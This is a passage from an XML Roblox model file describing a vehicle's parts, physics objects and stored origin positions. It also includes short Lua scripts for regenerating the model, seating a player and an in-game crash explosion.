									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">1</float>
									<Vector3 name="Velocity">
										<X>-0.0025208774</X>
										<Y>0.00333478209</Y>
										<Z>-0.000174747547</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>8</X>
										<Y>0.400000006</Y>
										<Z>28</Z>
									</Vector3>
								</Properties>
								<Item class="BodyPosition" referent="RBX1045">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">1250</float>
										<string name="Name">BodyPosition</string>
										<float name="P">10000</float>
										<Vector3 name="maxForce">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="position">
											<X>-1.5</X>
											<Y>3</Y>
											<Z>-48</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX1046">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">BodyGyro</string>
										<float name="P">3000</float>
										<CoordinateFrame name="cframe">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX1047">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">true</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<ProtectedString name="Source">model = script.Parent.Parent.Parent
backup = model:clone()
local debounce = false

function onTouch(part)
	if (part.Name == &quot;Safe&quot;) and (debounce == false) and (script.Parent.Count.Value == 0) then
	debounce = true
	wait(2)
	model = backup:clone()
	model.Parent = game.Workspace
	model:makeJoints()
	script.Parent.Count.Value = 1
	debounce = false
	end
end 
script.Parent.Touched:connect(onTouch)</ProtectedString>
									</Properties>
								</Item>
								<Item class="IntValue" referent="RBX1048">
									<Properties>
										<bool name="Archivable">true</bool>
										<string name="Name">Count</string>
										<int name="Value">0</int>
									</Properties>
								</Item>
							</Item>
							<Item class="Seat" referent="RBX1049">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">21</int>
									<CoordinateFrame name="CFrame">
										<X>-30</X>
										<Y>8.19999981</Y>
										<Z>222</Z>
										<R00>-1</R00>
										<R01>-0</R01>
										<R02>-0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>-0</R20>
										<R21>-0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Seat</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-0.00114251196</X>
										<Y>-0.00181730976</Y>
										<Z>0.00106175407</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>0.400000006</Y>
										<Z>4</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1050">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-1</X>
										<Y>8.68749332</Y>
										<Z>3.97869873</Z>
										<R00>-1</R00>
										<R01>-8.52184769e-007</R01>
										<R02>4.47994807e-007</R02>
										<R10>-8.5223229e-007</R10>
										<R11>1</R11>
										<R12>-0.000106061627</R12>
										<R20>-4.47904426e-007</R20>
										<R21>-0.000106061627</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX1051">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">position = script.Parent.Engine.Position
local frame = Instance.new(&quot;CFrameValue&quot;)
frame.Name = &quot;OriginCFrame&quot;
frame.Value = script.Parent.Engine.CFrame
frame.Parent = script.Parent

local object = Instance.new(&quot;ObjectValue&quot;)
object.Value = script.Parent.Parent.Parent

seat = script.Parent.Seat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent.Parent = parent
				while true do
					wait(2)
					local pos = script.Parent.Engine.Position
					if (position - pos).magnitude &gt; 30 then
						if object.Value ~= nil then
							object.Value.Regen.Value = 1
							wait(.5)
							object.Value.Regen.Value = 0
							object.Value = nil
						end
					break end
				end
				while true do
					print(&quot;Loop&quot;)
					wait(2)
					if part == nil then
						script.Parent.Parent.Parent = game.Workspace
						script.Parent.Parent:MakeJoints()
					break end
				end
			end
		end
	end
end
seat.ChildAdded:connect(onChildAdded)</ProtectedString>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1052">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-103</X>
										<Y>10.8000002</Y>
										<Z>-727</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>-0</R02>
										<R10>-0</R10>
										<R11>1</R11>
										<R12>-0</R12>
										<R20>-0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1053">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-103</X>
										<Y>10.8000002</Y>
										<Z>-727</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>-0</R02>
										<R10>-0</R10>
										<R11>1</R11>
										<R12>-0</R12>
										<R20>-0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1054">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-102.992332</X>
										<Y>10.7712145</Y>
										<Z>-726.693542</Z>
										<R00>-0.99999994</R00>
										<R01>0.000460659998</R01>
										<R02>1.19932392e-005</R02>
										<R10>0.000460652431</R10>
										<R11>0.999999702</R11>
										<R12>-0.000621763524</R12>
										<R20>-1.22796573e-005</R20>
										<R21>-0.000621757936</R21>
										<R22>-0.999999881</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1055">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>819.997314</X>
										<Y>10.8972998</Y>
										<Z>-814.973267</Z>
										<R00>-0.999999881</R00>
										<R01>0.000417414587</R01>
										<R02>6.31785269e-006</R02>
										<R10>0.000417414849</R10>
										<R11>0.99999994</R11>
										<R12>3.51876515e-005</R12>
										<R20>-6.30316481e-006</R20>
										<R21>3.519038e-005</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1056">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>222.999756</X>
										<Y>10.8018036</Y>
										<Z>-157.974213</Z>
										<R00>-1</R00>
										<R01>4.56572889e-005</R01>
										<R02>-1.09764164e-006</R02>
										<R10>4.56572889e-005</R10>
										<R11>1</R11>
										<R12>3.25534029e-006</R12>
										<R20>1.09779035e-006</R20>
										<R21>3.25529027e-006</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1057">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-45.0006828</X>
										<Y>11.6175013</Y>
										<Z>-151.975052</Z>
										<R00>-1</R00>
										<R01>9.0852518e-005</R01>
										<R02>-4.43711815e-006</R02>
										<R10>9.08519069e-005</R10>
										<R11>1</R11>
										<R12>0.000137785828</R12>
										<R20>4.44963644e-006</R20>
										<R21>0.000137785421</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1058">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>44</X>
										<Y>1</Y>
										<Z>67</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>-0</R02>
										<R10>-0</R10>
										<R11>1</R11>
										<R12>-0</R12>
										<R20>-0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1059">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-164</X>
										<Y>1.00000012</Y>
										<Z>88</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1060">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-146</X>
										<Y>1.00000012</Y>
										<Z>107</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1061">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>28</X>
										<Y>0.989788949</Y>
										<Z>44</Z>
										<R00>-1</R00>
										<R01>6.48690204e-008</R01>
										<R02>-1.9620634e-008</R02>
										<R10>6.48689209e-008</R10>
										<R11>1</R11>
										<R12>4.75700926e-006</R12>
										<R20>1.96209431e-008</R20>
										<R21>4.75700926e-006</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1062">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>202.982452</X>
										<Y>229.784286</Y>
										<Z>-112.966362</Z>
										<R00>-0.0040474548</R00>
										<R01>8.82848617e-005</R01>
										<R02>0.999991834</R02>
										<R10>-8.14465977e-007</R10>
										<R11>1</R11>
										<R12>-8.8288878e-005</R12>
										<R20>-0.999991834</R20>
										<R21>-1.17180491e-006</R21>
										<R22>-0.0040474548</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1063">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>39</X>
										<Y>0.600000381</Y>
										<Z>25</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1064">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>39</X>
										<Y>3.4000001</Y>
										<Z>25</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>-0</R02>
										<R10>-0</R10>
										<R11>1</R11>
										<R12>-0</R12>
										<R20>-0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1065">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>39.0010185</X>
										<Y>3.3997798</Y>
										<Z>24.9911938</Z>
										<R00>-0.99999994</R00>
										<R01>0.000186429679</R01>
										<R02>1.11511627e-005</R02>
										<R10>0.000186395555</R10>
										<R11>0.99999553</R11>
										<R12>-0.00298590376</R12>
										<R20>-1.17077734e-005</R20>
										<R21>-0.00298590143</R21>
										<R22>-0.99999547</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1066">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40</X>
										<Y>3.4000001</Y>
										<Z>22</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>-0</R02>
										<R10>-0</R10>
										<R11>1</R11>
										<R12>-0</R12>
										<R20>-0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1067">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40.2761459</X>
										<Y>3.40201283</Y>
										<Z>22.0097637</Z>
										<R00>-0.999553263</R00>
										<R01>5.512195e-007</R01>
										<R02>-0.0298918113</R02>
										<R10>0.000101758887</R10>
										<R11>0.999994278</R11>
										<R12>-0.00338427839</R12>
										<R20>0.0298916381</R20>
										<R21>-0.00338580762</R21>
										<R22>-0.999547482</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1068">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40.2763252</X>
										<Y>3.40205336</Y>
										<Z>22.0097675</Z>
										<R00>-0.999553263</R00>
										<R01>2.7301644e-006</R01>
										<R02>-0.0298915934</R02>
										<R10>0.00010402796</R10>
										<R11>0.999994278</R11>
										<R12>-0.0033872847</R12>
										<R20>0.0298914127</R20>
										<R21>-0.00338888052</R21>
										<R22>-0.999547482</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1069">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40.276226</X>
										<Y>3.40226984</Y>
										<Z>22.009655</Z>
										<R00>-0.999552846</R00>
										<R01>1.97954546e-006</R01>
										<R02>-0.0298974253</R02>
										<R10>0.000104188948</R10>
										<R11>0.999994159</R11>
										<R12>-0.00341711123</R12>
										<R20>0.0298972428</R20>
										<R21>-0.00341869867</R21>
										<R22>-0.999547005</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1070">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>39.9999847</X>
										<Y>0.587466061</Y>
										<Z>52.0001106</Z>
										<R00>-1</R00>
										<R01>1.97677792e-007</R01>
										<R02>1.78590392e-006</R02>
										<R10>1.97490834e-007</R10>
										<R11>1</R11>
										<R12>-0.000104685481</R12>
										<R20>-1.78592461e-006</R20>
										<R21>-0.000104685481</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1071">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40</X>
										<Y>1.49999976</Y>
										<Z>50.0000038</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1072">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40.0166321</X>
										<Y>0.587445974</Y>
										<Z>49.8706284</Z>
										<R00>-0.999999762</R00>
										<R01>-8.67631741e-007</R01>
										<R02>0.000534849358</R02>
										<R10>-9.23285768e-007</R10>
										<R11>1</R11>
										<R12>-0.000104055194</R12>
										<R20>-0.0005348493</R20>
										<R21>-0.000104055674</R21>
										<R22>-0.999999762</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1073">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40.0166321</X>
										<Y>0.587435484</Y>
										<Z>49.8704033</Z>
										<R00>-0.999999762</R00>
										<R01>-8.10844767e-007</R01>
										<R02>0.000534857681</R02>
										<R10>-8.67798576e-007</R10>
										<R11>1</R11>
										<R12>-0.00010648388</R12>
										<R20>-0.000534857623</R20>
										<R21>-0.000106484331</R21>
										<R22>-0.999999762</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1074">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40.0166321</X>
										<Y>0.587439537</Y>
										<Z>49.8706627</Z>
										<R00>-0.999999762</R00>
										<R01>-7.95644098e-007</R01>
										<R02>0.000534850638</R02>
										<R10>-8.51566881e-007</R10>
										<R11>1</R11>
										<R12>-0.000104557475</R12>
										<R20>-0.00053485058</R20>
										<R21>-0.000104557912</R21>
										<R22>-0.999999762</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1075">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40</X>
										<Y>0.58761394</Y>
										<Z>48.9996223</Z>
										<R00>-1</R00>
										<R01>-3.70835937e-006</R01>
										<R02>1.24828432e-006</R02>
										<R10>-3.70848943e-006</R10>
										<R11>1</R11>
										<R12>-0.000104195482</R12>
										<R20>-1.24789801e-006</R20>
										<R21>-0.000104195482</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1076">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-61.9999962</X>
										<Y>0.587442398</Y>
										<Z>-1.99999487</Z>
										<R00>-1</R00>
										<R01>5.10271256e-008</R01>
										<R02>-3.12887749e-007</R02>
										<R10>5.10603648e-008</R10>
										<R11>1</R11>
										<R12>-0.000106234533</R12>
										<R20>3.12882349e-007</R20>
										<R21>-0.000106234533</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1077">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-60.9999924</X>
										<Y>0.587450445</Y>
										<Z>44.9997063</Z>
										<R00>-1</R00>
										<R01>-1.8421963e-006</R01>
										<R02>8.71701644e-008</R02>
										<R10>-1.84220539e-006</R10>
										<R11>1</R11>
										<R12>-0.000104545405</R12>
										<R20>-8.69775647e-008</R20>
										<R21>-0.000104545405</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1078">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40.0015564</X>
										<Y>0.58744067</Y>
										<Z>48.9997025</Z>
										<R00>-1</R00>
										<R01>-7.31433011e-006</R01>
										<R02>-0.000118872398</R02>
										<R10>-7.30176271e-006</R10>
										<R11>1</R11>
										<R12>-0.00010572288</R12>
										<R20>0.000118873169</R20>
										<R21>-0.000105722007</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1079">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>40.0018158</X>
										<Y>0.587441862</Y>
										<Z>48.9996147</Z>
										<R00>-1</R00>
										<R01>-1.37073516e-006</R01>
										<R02>-0.000118808559</R02>
										<R10>-1.35804521e-006</R10>
										<R11>1</R11>
										<R12>-0.000106809879</R12>
										<R20>0.000118808704</R20>
										<R21>-0.000106809719</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1080">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-8.00003242</X>
										<Y>0.587818563</Y>
										<Z>50.0003395</Z>
										<R00>-1</R00>
										<R01>-1.75692639e-006</R01>
										<R02>6.97683959e-007</R02>
										<R10>-1.75699711e-006</R10>
										<R11>1</R11>
										<R12>-0.000101288613</R12>
										<R20>-6.97506039e-007</R20>
										<R21>-0.000101288613</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1081">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-61.0000038</X>
										<Y>0.587436497</Y>
										<Z>44.9996414</Z>
										<R00>-1</R00>
										<R01>-5.68796992e-008</R01>
										<R02>6.16590967e-007</R02>
										<R10>-5.69461847e-008</R10>
										<R11>1</R11>
										<R12>-0.000107826345</R12>
										<R20>-6.16584828e-007</R20>
										<R21>-0.000107826345</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1082">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-61</X>
										<Y>0.587442815</Y>
										<Z>44.9999046</Z>
										<R00>-1</R00>
										<R01>-8.54980726e-007</R01>
										<R02>6.00005762e-007</R02>
										<R10>-8.55043709e-007</R10>
										<R11>1</R11>
										<R12>-0.000104961851</R12>
										<R20>-5.99916063e-007</R20>
										<R21>-0.000104961851</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1083">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-61</X>
										<Y>0.587445378</Y>
										<Z>44.9997292</Z>
										<R00>-1</R00>
										<R01>-5.65095149e-007</R01>
										<R02>7.01111844e-007</R02>
										<R10>-5.65169614e-007</R10>
										<R11>1</R11>
										<R12>-0.000106278429</R12>
										<R20>-7.01051817e-007</R20>
										<R21>-0.000106278429</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
							<Item class="CFrameValue" referent="RBX1084">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">OriginCFrame</string>
									<CoordinateFrame name="Value">
										<X>-60.9999962</X>
										<Y>0.587446868</Y>
										<Z>44.9994392</Z>
										<R00>-1</R00>
										<R01>-1.17984871e-006</R01>
										<R02>4.76039276e-007</R02>
										<R10>-1.17989941e-006</R10>
										<R11>1</R11>
										<R12>-0.00010648786</R12>
										<R20>-4.75913652e-007</R20>
										<R21>-0.00010648786</R21>
										<R22>-1</R22>
									</CoordinateFrame>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX1085">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local boom = false

function createExplosion(position)

explosion = Instance.new(&quot;Explosion&quot;)
explosion.Position = position
explosion.BlastRadius = 12
explosion.Parent = game.Workspace

end

function onTouch(part)
	if boom == true then return end
	if (part.Name == &quot;&quot;) or (part.Name == &quot;Safe&quot;) or (part.Parent.Parent.Parent == script.Parent) or (part.Parent:findFirstChild(&quot;Humanoid&quot;)) then return end
	if (script.Parent.Parts.Tip.Velocity.x &gt; 50) or (script.Parent.Parts.Tip.Velocity.x &lt; -50) or (script.Parent.Parts.Tip.Velocity.z &gt; 50) or (script.Parent.Parts.Tip.Velocity.z &lt; -50) then
	boom = true
	createExplosion(script.Parent.Parts.Engine.Position)
	script.Parent:BreakJoints()
	local stuff = script.Parent:children()
	for i=1,#stuff do
		if stuff[i].Name == &quot;BodyKit&quot; or
		stuff[i].Name == &quot;Parts&quot; then
		local parts = stuff[i]:children()
			for p = 1, #parts do
				if parts[p].className == &quot;Part&quot; then
				local velo = Instance.new(&quot;BodyVelocity&quot;)
				velo.maxForce = Vector3.new(9.9e+036, 9.9e+036, 9.9e+036)
				velo.velocity = Vector3.new(math.random(-15,15),math.random(-15,15),math.random(-15,15))
				velo.Parent = parts[p]
				end
			end
		end
	end
	wait(4)
	script.Parent:remove()
	end
end

script.Parent.Parts.Tip.Touched:connect(onTouch)
</ProtectedString>
							</Properties>
						</Item>
						<Item class="IntValue" referent="RBX1086">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">PlaneCheck</string>
								<int name="Value">0</int>
							</Properties>
						</Item>
						<Item class="IntValue" referent="RBX1087">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">Stunt</string>
								<int name="Value">0</int>
							</Properties>
						</Item>
						<Item class="Model" referent="RBX1088">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">BodyParts</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Part" referent="RBX1089">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-31.5</X>
										<Y>10.8000002</Y>
										<Z>222</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>-1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Jaw </string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-7.70029146e-005</X>
										<Y>-0.00120259309</Y>
										<Z>0.0040068198</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>8</X>
										<Y>1.60000002</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX1090">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">2</token>
